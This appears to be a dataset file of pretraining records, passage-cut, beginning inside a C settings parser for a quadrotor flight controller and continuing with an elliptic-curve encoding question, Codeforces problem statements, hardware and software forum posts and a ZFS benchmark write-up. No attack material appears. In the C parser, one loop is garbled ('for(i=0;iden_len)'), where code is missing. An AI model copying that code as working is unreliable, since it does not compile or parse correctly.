&tmp)==0){\\\n\tfprintf(stderr,\"ERROR: can't find \" #name \" in settings file\\n\");\\\n\treturn -1;\\\n}\\\nif(__parse_controller(tmp, &settings.name)){\\\n\tfprintf(stderr,\"ERROR: could not parse \" #name \"\\n\");\\\n\treturn -1;\\\n}\\\n\n\n////////////////////////////////////////////////////////////////////////////////\n/// functions for parsing enums\n////////////////////////////////////////////////////////////////////////////////\n\n/**\n * @brief pulls rotor layout out of json object into settings struct\n *\n * @return 0 on success, -1 on failure\n */\nstatic int __parse_layout(void)\n{\n\tstruct json_object *tmp = NULL;\n\tchar* tmp_str = NULL;\n\tif(json_object_object_get_ex(jobj, \"layout\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find layout in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: layout should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\tif(strcmp(tmp_str, \"LAYOUT_6DOF_ROTORBITS\")==0){\n\t\tsettings.num_rotors = 6;\n\t\tsettings.layout = LAYOUT_6DOF_ROTORBITS;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_4X\")==0){\n\t\tsettings.num_rotors = 4;\n\t\tsettings.layout = LAYOUT_4X;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_4PLUS\")==0){\n\t\tsettings.num_rotors = 4;\n\t\tsettings.layout = LAYOUT_4PLUS;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_6X\")==0){\n\t\tsettings.num_rotors = 6;\n\t\tsettings.layout = LAYOUT_6X;\n\t}\n\telse if(strcmp(tmp_str, \"LAYOUT_8X\")==0){\n\t\tsettings.num_rotors = 8;\n\t\tsettings.layout = LAYOUT_8X;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid layout string\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\nstatic int __parse_thrust_map(void)\n{\n\tstruct json_object *tmp = NULL;\n\tchar* tmp_str = NULL;\n\tif(json_object_object_get_ex(jobj, \"thrust_map\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find thrust_map in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: thrust map should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\tif(strcmp(tmp_str, \"LINEAR_MAP\")==0){\n\t\tsettings.thrust_map = LINEAR_MAP;\n\t}\n\telse if(strcmp(tmp_str, \"MN1806_1400KV_4S\")==0){\n\t\tsettings.thrust_map = MN1806_1400KV_4S;\n\t}\n\telse if(strcmp(tmp_str, \"TEAM2_PROP\")==0){\n\t\tsettings.thrust_map = TEAM2_PROP;\n\t}\n\telse if(strcmp(tmp_str, \"F20_2300KV_2S\")==0){\n\t\tsettings.thrust_map = F20_2300KV_2S;\n\t}\n\telse if(strcmp(tmp_str, \"RX2206_4S\")==0){\n\t\tsettings.thrust_map = RX2206_4S;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid thrust_map string\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n/**\n * @brief parses a json_object and fills in the flight mode.\n *\n * @param jobj The jobj to parse\n * @param mode pointer to write mode out to\n *\n * @return returns 0 on success or -1 on failure\n */\nstatic int __parse_flight_mode(json_object* jobj_str, flight_mode_t* mode)\n{\n\tchar* tmp_str = NULL;\n\tstruct json_object *tmp = NULL;\n\tif(json_object_is_type(jobj_str, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: flight_mode should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(jobj_str);\n\tif(strcmp(tmp_str, \"TEST_BENCH_4DOF\")==0){\n\t\t*mode = TEST_BENCH_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"TEST_BENCH_6DOF\")==0){\n\t\t*mode = TEST_BENCH_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"DIRECT_THROTTLE_4DOF\")==0){\n\t\t*mode = DIRECT_THROTTLE_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"DIRECT_THROTTLE_6DOF\")==0){\n\t\t*mode = DIRECT_THROTTLE_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"ALT_HOLD_4DOF\")==0){\n\t\t*mode = ALT_HOLD_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"ALT_HOLD_6DOF\")==0){\n\t\t*mode = ALT_HOLD_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"VELOCITY_CONTROL_4DOF\")==0){\n\t\t*mode = VELOCITY_CONTROL_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"VELOCITY_CONTROL_6DOF\")==0){\n\t\t*mode = VELOCITY_CONTROL_6DOF;\n\t}\n\telse if(strcmp(tmp_str, \"POSITION_CONTROL_4DOF\")==0){\n\t\t*mode = POSITION_CONTROL_4DOF;\n\t}\n\telse if(strcmp(tmp_str, \"POSITION_CONTROL_6DOF\")==0){\n\t\t*mode = POSITION_CONTROL_6DOF;\n\t}\n\t//B: define autonomous\n\telse if(strcmp(tmp_str, \"AUTONOMOUS\")==0){\n\t\t*mode = AUTONOMOUS;\n\t}\n\telse if(strcmp(tmp_str, \"SENSEDAUTONOMOUS\")==0){\n\t\t*mode = SENSEDAUTONOMOUS;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid flight mode\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n\nstatic int __parse_kill_mode(void)\n{\n\tstruct json_object *tmp = NULL;\n\tchar* tmp_str = NULL;\n\tif(json_object_object_get_ex(jobj, \"dsm_kill_mode\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find dsm_kill_mode in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: dsm_kill_mode should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\tif(strcmp(tmp_str, \"DSM_KILL_DEDICATED_SWITCH\")==0){\n\t\tsettings.dsm_kill_mode = DSM_KILL_DEDICATED_SWITCH;\n\t}\n\telse if(strcmp(tmp_str, \"DSM_KILL_NEGATIVE_THROTTLE\")==0){\n\t\tsettings.dsm_kill_mode = DSM_KILL_NEGATIVE_THROTTLE;\n\t}\n\telse{\n\t\tfprintf(stderr,\"ERROR: invalid dsm_kill_mode string\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n/**\n * @ brief parses a json_object and sets up a new controller\n *\n * @param jobj The jobj to parse\n * @param filter pointer to write the new filter to\n *\n * @return 0 on success, -1 on failure\n */\nstatic int __parse_controller(json_object* jobj_ctl, rc_filter_t* filter)\n{\n\tstruct json_object *array = NULL;\t// to hold num & den arrays\n\tstruct json_object *tmp = NULL;\t\t// temp object\n\tchar* tmp_str = NULL;\n\tdouble tmp_flt, tmp_kp, tmp_ki, tmp_kd;\n\tint i, num_len, den_len;\n\trc_vector_t num_vec = rc_vector_empty(); //RC_VECTOR_INITIALIZER;\n\trc_vector_t den_vec = rc_vector_empty(); //RC_VECTOR_INITIALIZER;\n\n\t// destroy old memory in case the order changes\n\trc_filter_free(filter);\n\n\t// pull out gain\n\tif(json_object_object_get_ex(jobj_ctl, \"gain\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find controller gain in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\tfprintf(stderr,\"ERROR: controller gain should be a double\\n\");\n\t\treturn -1;\n\t}\n\ttmp_flt = json_object_get_double(tmp);\n\n\t// check if PID gains or transfer function coefficients\n\tif(json_object_object_get_ex(jobj_ctl, \"TF_or_PID\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find TF_or_PID in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\tfprintf(stderr,\"ERROR: TF_or_PID should be a string\\n\");\n\t\treturn -1;\n\t}\n\ttmp_str = (char*)json_object_get_string(tmp);\n\n\tif(strcmp(tmp_str, \"TF\")==0){\n\n\t\t// pull out numerator\n\t\tif(json_object_object_get_ex(jobj_ctl, \"numerator\", &array)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find controller numerator in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tif(json_object_is_type(array, json_type_array)==0){\n\t\t\tfprintf(stderr,\"ERROR: controller numerator should be an array\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tnum_len = json_object_array_length(array);\n\t\tif(num_len<1){\n\t\t\tfprintf(stderr,\"ERROR, numerator must have at least 1 entry\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\trc_vector_alloc(&num_vec,num_len);\n\t\tfor(i=0;iden_len){\n\t\t\tfprintf(stderr,\"ERROR: improper transfer function\\n\");\n\t\t\trc_vector_free(&num_vec);\n\t\t\trc_vector_free(&den_vec);\n\t\t\treturn -1;\n\t\t}\n\n\t\t// check CT continuous time or DT discrete time\n\t\tif(json_object_object_get_ex(jobj_ctl, \"CT_or_DT\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find CT_or_DT in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tif(json_object_is_type(tmp, json_type_string)==0){\n\t\t\tfprintf(stderr,\"ERROR: CT_or_DT should be a string\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_str = (char*)json_object_get_string(tmp);\n\n\n\t\t// if CT, use tustin's approx to get to DT\n\t\tif(strcmp(tmp_str, \"CT\")==0){\n\t\t\t// get the crossover frequency\n\t\t\tif(json_object_object_get_ex(jobj_ctl, \"crossover_freq_rad_per_sec\", &tmp)==0){\n\t\t\t\tfprintf(stderr,\"ERROR: can't find crossover frequency in settings file\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\t\t\tfprintf(stderr,\"ERROR: crossover frequency should be a double\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\ttmp_flt = json_object_get_double(tmp);\n\t\t\tif(rc_filter_c2d_tustin(filter, DT, num_vec, den_vec, tmp_flt)){\n\t\t\t\tfprintf(stderr,\"ERROR: failed to c2dtustin while parsing json\\n\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\t// if DT, much easier, just construct filter\n\t\telse if(strcmp(tmp_str, \"DT\")==0){\n\t\t\tif(rc_filter_alloc(filter,num_vec, den_vec, DT)){\n\t\t\t\tfprintf(stderr,\"ERROR: failed to alloc filter in __parse_controller()\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\n\t\t// wrong value for CT_or_DT\n\t\telse{\n\t\t\tfprintf(stderr,\"ERROR: CT_or_DT must be 'CT' or 'DT'\\n\");\n\t\t\tprintf(\"instead got :%s\\n\", tmp_str);\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\telse if(strcmp(tmp_str, \"PID\")==0){\n\t\t// pull out gains\n\t\tif(json_object_object_get_ex(jobj_ctl, \"kp\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find kp in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_kp = json_object_get_double(tmp);\n\t\tif(json_object_object_get_ex(jobj_ctl, \"ki\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find ki in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_ki = json_object_get_double(tmp);\n\t\tif(json_object_object_get_ex(jobj_ctl, \"kd\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find kd in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_kd = json_object_get_double(tmp);\n\t\t// get the crossover frequency\n\t\tif(json_object_object_get_ex(jobj_ctl, \"crossover_freq_rad_per_sec\", &tmp)==0){\n\t\t\tfprintf(stderr,\"ERROR: can't find crossover frequency in settings file\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\t\tfprintf(stderr,\"ERROR: crossover frequency should be a double\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_flt = json_object_get_double(tmp);\n\t\tif(rc_filter_pid(filter,tmp_kp,tmp_ki,tmp_kd,1.0/tmp_flt, DT)){\n\t\t\t\tfprintf(stderr,\"ERROR: failed to alloc pid filter in __parse_controller()\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t}\n\n\t#ifdef DEBUG\n\trc_filter_print(*filter);\n\t#endif\n\n\trc_vector_free(&num_vec);\n\trc_vector_free(&den_vec);\n\n\treturn 0;\n}\n\n\n\n\nint settings_load_from_file(char* path)\n{\n\tstruct json_object *tmp = NULL; // temp object\n\tchar* tmp_str = NULL; // temp string poitner\n\tdouble tmp_flt;\n\tint tmp_int;\n\n\twas_load_successful = 0;\n\n\t#ifdef DEBUG\n\tfprintf(stderr,\"beginning of load_settings_from_file\\n\");\n\tfprintf(stderr,\"about to check access of fly settings file\\n\");\n\t#endif\n\n\t// read in file contents\n\tif(access(path, F_OK)!=0){\n\t\tfprintf(stderr,\"ERROR: settings file missing\\n\");\n\t\treturn -1;\n\t}\n\telse{\n\t\t#ifdef DEBUG\n\t\tprintf(\"about to read json from file\\n\");\n\t\t#endif\n\t\tjobj = json_object_from_file(path);\n\t\tif(jobj==NULL){\n\t\t\tfprintf(stderr,\"ERROR, failed to read settings from disk\\n\");\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\t#ifdef DEBUG\n\tsettings_print();\n\t#endif\n\n\t// START PARSING\n\n\tPARSE_STRING(name)\n\t#ifdef DEBUG\n\tfprintf(stderr,\"name: %s\\n\",settings.name);\n\t#endif\n\tPARSE_BOOL(warnings_en)\n\t#ifdef DEBUG\n\tfprintf(stderr,\"warnings: %d\\n\",settings.warnings_en);\n\t#endif\n\n\n\t// PHYSICAL PARAMETERS\n\t// layout populates num_rotors, layout, and dof\n\tif(__parse_layout()==-1) return -1; // parse_layout also fill in num_rotors and dof\n\t#ifdef DEBUG\n\tfprintf(stderr,\"layout:%d,%d\\n\",settings.layout,settings.num_rotors);\n\t#endif\n\tif(__parse_thrust_map()==-1) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"thrust_map: %d\\n\",settings.thrust_map);\n\t#endif\n\tPARSE_DOUBLE_MIN_MAX(v_nominal,7.0,18.0)\n\t#ifdef DEBUG\n\tfprintf(stderr,\"v_nominal: %f\\n\",settings.v_nominal);\n\t#endif\n\tPARSE_BOOL(enable_magnetometer)\n\n\t// EMERGENCY LANDING SETTINGS\n PARSE_BOOL(enable_mocap_dropout_emergency_land)\n PARSE_DOUBLE_MIN_MAX(mocap_dropout_timeout_ms, 0, 10000)\n PARSE_DOUBLE_MIN_MAX(dropout_z_throttle, -1, 0)\n\t#ifdef DEBUG\n fprintf(stderr, \"enable_mocap_dropout_emergency_land: %d\\n\", settings.enable_mocap_dropout_emergency_land);\n fprintf(stderr, \"mocap_dropout_timeout_ms: %lf\\n\", settings.mocap_dropout_timeout_ms);\n\t#endif \n\n\t// FLIGHT MODES\n\tPARSE_INT_MIN_MAX(num_dsm_modes,1,3)\n\tif(json_object_object_get_ex(jobj, \"flight_mode_1\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find flight_mode_1 in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(__parse_flight_mode(tmp, &settings.flight_mode_1)) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"flight_mode_1: %d\\n\",settings.flight_mode_1);\n\t#endif\n\tif(json_object_object_get_ex(jobj, \"flight_mode_2\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find flight_mode_2 in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(__parse_flight_mode(tmp, &settings.flight_mode_2)) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"flight_mode_2: %d\\n\",settings.flight_mode_2);\n\t#endif\n\tif(json_object_object_get_ex(jobj, \"flight_mode_3\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find flight_mode_3 in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(__parse_flight_mode(tmp, &settings.flight_mode_3)) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"flight_mode_3: %d\\n\",settings.flight_mode_3);\n\t#endif\n\n\t// DSM RADIO CONFIG\n\tPARSE_INT_MIN_MAX(dsm_thr_ch,1,9)\n\tPARSE_POLARITY(dsm_thr_pol)\n\tPARSE_INT_MIN_MAX(dsm_roll_ch,1,9)\n\tPARSE_POLARITY(dsm_roll_pol)\n\tPARSE_INT_MIN_MAX(dsm_pitch_ch,1,9)\n\tPARSE_POLARITY(dsm_pitch_pol)\n\tPARSE_INT_MIN_MAX(dsm_yaw_ch,1,9)\n\tPARSE_POLARITY(dsm_yaw_pol)\n\tPARSE_INT_MIN_MAX(dsm_mode_ch,1,9)\n\tPARSE_POLARITY(dsm_mode_pol)\n\tif(__parse_kill_mode()==-1) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"kill_mode: %d\\n\",settings.dsm_kill_mode);\n\t#endif\n\tPARSE_INT_MIN_MAX(dsm_kill_ch,1,9)\n\tPARSE_POLARITY(dsm_kill_pol)\n\n\t// PRINTF OPTIONS\n\tPARSE_BOOL(printf_arm)\n\tPARSE_BOOL(printf_altitude)\n\tPARSE_BOOL(printf_rpy)\n\tPARSE_BOOL(printf_sticks)\n\tPARSE_BOOL(printf_setpoint)\n\tPARSE_BOOL(printf_u)\n\tPARSE_BOOL(printf_motors)\n\tPARSE_BOOL(printf_mode)\n\tPARSE_BOOL(printf_xbee)\n\tPARSE_BOOL(printf_rev)\n\tPARSE_BOOL(printf_counter)\n\tPARSE_BOOL(printf_feedforward)\n\n\n\t// LOGGING\n\tPARSE_BOOL(enable_logging)\n\tPARSE_BOOL(log_sensors)\n\tPARSE_BOOL(log_state)\n\tPARSE_BOOL(log_xbee)\n\tPARSE_BOOL(log_setpoint)\n\tPARSE_BOOL(log_control_u)\n\tPARSE_BOOL(log_motor_signals)\n\tPARSE_BOOL(log_flight_mode)\n\n\t// MAVLINK\n\tPARSE_STRING(dest_ip)\n\tPARSE_INT(my_sys_id)\n\tPARSE_INT(mav_port)\n\n\t// XBEE SERIAL PORT\n PARSE_STRING(xbee_serial_port)\n\n\t// FEEDBACK CONTROLLERS\n\tPARSE_CONTROLLER(roll_controller)\n\tPARSE_CONTROLLER(pitch_controller)\n\tPARSE_CONTROLLER(yaw_controller)\n\tPARSE_CONTROLLER(altitude_controller)\n\tPARSE_CONTROLLER(horiz_vel_ctrl_4dof)\n\tPARSE_CONTROLLER(horiz_vel_ctrl_6dof)\n\tPARSE_CONTROLLER(horiz_pos_ctrl_4dof)\n\tPARSE_CONTROLLER(horiz_pos_ctrl_6dof)\n\tPARSE_DOUBLE_MIN_MAX(max_XY_velocity, .1, 10)\n\tPARSE_DOUBLE_MIN_MAX(max_Z_velocity, .1, 10)\n\n\tjson_object_put(jobj);\t// free memory\n\twas_load_successful = 1;\n\treturn 0;\n}\n\n\n\n\nint settings_print(void)\n{\n\tif(jobj == NULL){\n\t\tfprintf(stderr,\"ERROR: NULL object passed to settings_print\\n\");\n\t\treturn -1;\n\t}\n\tprintf(\"settings:\\n\\n\");\n\tprintf(\"%s\", json_object_to_json_string_ext(jobj, \\\n\t\t\tJSON_C_TO_STRING_SPACED | JSON_C_TO_STRING_PRETTY));\n\tprintf(\"\\n\");\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "I am trying to convert a string to ECPoint using Koblitz's method.\nThe method stated that:\n1. Say we have to send a character 'b'\n2. 'b' is first encoded as number 11\n3. Choose an auxiliary base parameter, for example\n4. For each number\nx=mk+1 and try to solve for\n5. If you can't do it, then try\nx=mk+2 and then\nx=mk+3 until you can solve for\n6. Now the point\n(x,y) is encrypted and decrypted as a message.\nI can't understand steps number 4 to 5. Can anyone help explain it to me?\nI've figured out how to solve for\ny. Use shanks-tonelli algorithm to do it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a matrix consisting of digits zero and one, its size is n × m. You are allowed to rearrange its rows. What is the maximum area of the submatrix that only consists of ones and can be obtained in the given problem by the described operations?\n\nLet's assume that the rows of matrix a are numbered from 1 to n from top to bottom and the columns are numbered from 1 to m from left to right. A matrix cell on the intersection of the i-th row and the j-th column can be represented as (i, j). Formally, a submatrix of matrix a is a group of four integers d, u, l, r (1 ≤ d ≤ u ≤ n; 1 ≤ l ≤ r ≤ m). We will assume that the submatrix contains cells (i, j) (d ≤ i ≤ u; l ≤ j ≤ r). The area of the submatrix is the number of cells it contains.", "source": "cpt_codeforces", "language": "en", "token_count": 198, "token_count_with_eod": 199, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Polycarp's phone book contains $$$n$$$ phone numbers, each of them is described by $$$s_i$$$ — the number itself and $$$m_i$$$ — the number of times Polycarp dials it in daily.\n\nPolycarp has just bought a brand new phone with an amazing speed dial feature! More precisely, $$$k$$$ buttons on it can have a number assigned to it (not necessary from the phone book). To enter some number Polycarp can press one of these $$$k$$$ buttons and then finish the number using usual digit buttons (entering a number with only digit buttons is also possible).\n\nSpeed dial button can only be used when no digits are entered. No button can have its number reassigned.\n\nWhat is the minimal total number of digit number presses Polycarp can achieve after he assigns numbers to speed dial buttons and enters each of the numbers from his phone book the given number of times in an optimal way?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "This request is a minor thing.\nBut I have a weekly backup routine that is pretty extensive.\nIt would be very convenient if I could set, or have Helium remember the location I last backed up to.\nIn my case E:\\Backups\\Helium\\\nThanks for your feedback. We plan to implement this for our next release.\nThis feature will be available in our next release.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Fill paragraphs of uniform indentation within the region.\nThis command divides the region into \"paragraphs\",\ntreating every change in indentation level or prefix as a paragraph boundary,\nthen fills each paragraph using its indentation level as the fill prefix.\nThere is one special case where a change in indentation does not start\na new paragraph. This is for text of this form:\nfoo> This line with extra indentation starts\nfoo> a paragraph that continues on more lines.\nThese lines are filled together.\nWhen calling from a program, pass the range to fill\nas the first two arguments.\nOptional third and fourth arguments JUSTIFY and CITATION-REGEXP:\nJUSTIFY to justify paragraphs (prefix arg).\nWhen filling a mail message, pass a regexp for CITATION-REGEXP\nwhich will match the prefix of a line which is a citation marker\nplus whitespace, but no other kind of prefix. Also, if CITATION-REGEXP is non-nil, don't fill header lines.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I'm going to use your company a conductivity measurement scheme of measuring the conductivity, the link http://www.analog.com/cn/design-center/reference-designs/hardware-reference-design/circuits-from-the-lab/CN0349.html#rd-overview\nI'm going to ask the following questions\n1: AD5934 using IIC communication plan, but I don't know how much is this device address,\n2: ADG715 use method and the internal register address\n3: can you send a the two chips code routines, use the keil development.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Tanechka is shopping in the toy shop. There are exactly $$$n$$$ toys in the shop for sale, the cost of the $$$i$$$-th toy is $$$i$$$ burles. She wants to choose two toys in such a way that their total cost is $$$k$$$ burles. How many ways to do that does she have?\n\nEach toy appears in the shop exactly once. Pairs $$$(a, b)$$$ and $$$(b, a)$$$ are considered equal. Pairs $$$(a, b)$$$, where $$$a=b$$$, are not allowed.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Polycarp has decided to do a problemsolving marathon. He wants to solve $$$s$$$ problems in $$$n$$$ days. Let $$$a_i$$$ be the number of problems he solves during the $$$i$$$-th day. He wants to find a distribution of problems into days such that:\n\n- $$$a_i$$$ is an integer value for all $$$i$$$ from $$$1$$$ to $$$n$$$;\n- $$$a_i \\ge 1$$$ for all $$$i$$$ from $$$1$$$ to $$$n$$$;\n- $$$a_{i + 1} \\ge a_i$$$ for all $$$i$$$ from $$$1$$$ to $$$n-1$$$;\n- $$$a_{i + 1} \\le 2 \\cdot a_i$$$ for all $$$i$$$ from $$$1$$$ to $$$n-1$$$;\n- $$$a_n$$$ is maximized.\n\nNote that $$$a_1$$$ can be arbitrarily large.\n\nWhat is the largest value of $$$a_n$$$ Polycarp can obtain?", "source": "cpt_codeforces", "language": "en", "token_count": 214, "token_count_with_eod": 215, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "You are given a tree (connected, undirected, acyclic graph) with $$$n$$$ vertices. Two edges are adjacent if they share exactly one endpoint. In one move you can remove an arbitrary edge, if that edge is adjacent to an even number of remaining edges.\n\nRemove all of the edges, or determine that it is impossible. If there are multiple solutions, print any.", "source": "cpt_codeforces", "language": "en", "token_count": 78, "token_count_with_eod": 79, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I'm using my phone as the \"emulator\", e.g. running my app from Eclipse to the phone. I'm trying to access the SD card from within the app (create a folder, save a file), but the error I'm getting is almost as if the SD card isn't inserted (write permissions are granted inside manifest, too). What is wrong here?\nAre you sure you don't have the SD card mounted through the USB connection? If it is mounted Android can't access it. Unmount it by swiping the top, then click on Unmount USB or similar verbiage.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I'm getting ready to order the VSL solo strings+ extended in a bit since they're currently at a 30% discount for my son, the college student. I kinda also know how those will fit in with my vsl Chamber II for slightly larger sounds.\nI can only buy so much of this stuff at a time. I like the Lass demos, but need to hear more of it.\nThe here's a small demo I wrote for a pitch recently, I've used the the bonus violin which is not a first chair but a proof of concept violin that comes with at least full LASS. It's much drier that the first chairs and this mic position doesn't exist for the other strings: http://www.juhanalehtiniemi.com/upload/Bonus_violin.mp3 (I might remove this mp3 later, so this link won't work forever)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 181, "token_count_with_eod": 182, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In my previous post on ZFS performance testing I ran through various tests on a particular test system that I had running at the time. That system has come and gone to a better place in the proverbial cloud. This go round, I have a similar server with a different ZFS configuration. Lets dive in to the system and tests.\n- Dell PowerEdge 2950\n- Xeon Quad Core 1.6GHz\n- 8GB RAM\n- PERC5 – Total of 5 logical drives with read ahead and write back enabled.\n- 2x160GB SATAII 7200 RPM – Hardware RAID1\n- 4x2TB SATAII 7200 RPM – Four (4) Hardware RAID0’s (Controller does not support JBOD mode)\n- FreeNAS 0.7.2 Sabanda (revision 5543)-ZFS v13\nTests performed from the CLI using good ole’ GNU dd. The following command was used to first write, and then read back:\ndd if=/dev/zero of=foo bs=2M count=10000 ; dd if=foo of=/dev/null bs=2M\nResults are listed as configuration, write, then read.\n- Reference run: 2x160GB 7200 RPM SATAII RAID1\n- 85.6 MB/s\n- 92.5 MB/s\n- ZFS stripe pool utilizing two (2) SATA disks\n- 221 MB/s\n- 206 MB/s\n- ZFS stripe pool utilizing two (2) SATA disks with dataset compression set to “On”\n- 631 MB/s\n- 1074 MB/s\n- ZFS mirror pool utilizing two (2) SATA disks\n- 116 MB/s\n- 145 MB/s\n- ZFS mirror pool utilizing two (2) SATA disks with dataset compression set to “On”\n- 631 MB/s\n- 1069 MB/s\nNotes, Thoughts & Mentionables:\nThere are a few things worth mentioning about this system:\nOn the hard disk side of things, the hardware RAID1 was made up of Western Digital Blue disks while the other four (4) disks are Western Digital 2TB Green drives. If you have done your home work, you already know that the WD EARS disks use 4K sectors and masks this as 512byte sectors so that OS’ don’t complain. If disks are not properly formatted and/or sector aligned with this in mind, performance takes a tremendous hit. The reason for such inexpensive disks for this build is simple: This server is configured as a backup destination and as such, size is more important than the reliability that a SAS solution would provide.\nCompressions test results were, to say the least, quite interesting. It should be noted that the stripe and mirror pools performed quite similarly. Further testing of these results will be required, but it seems that the maximum score of 1074 MB/s was limited only by the CPU. During the read test all four cores of the quad core CPU were maxed. This becomes even more interesting when you compare the results of this two disk stripe pool with my previous findings on the six disk stripe pool running the same test. The earlier test rig scored much lower and it would appear to be the difference in CPUs that made such a strong difference.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 729, "token_count_with_eod": 730, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "||Offices To Go\n- Four shelves (1 fixed and 3 adjustable shelves)\n- Door front features a recessed angled full pull\n- Bottom pan can be used as a shelf\n- Leveling glides included\nLock is included as standard\n- Optional additional shelf is available\nAll company names, product names logos included here may be registered trademarks or service marks of their respective owners.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*\n * Copyright 2020 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 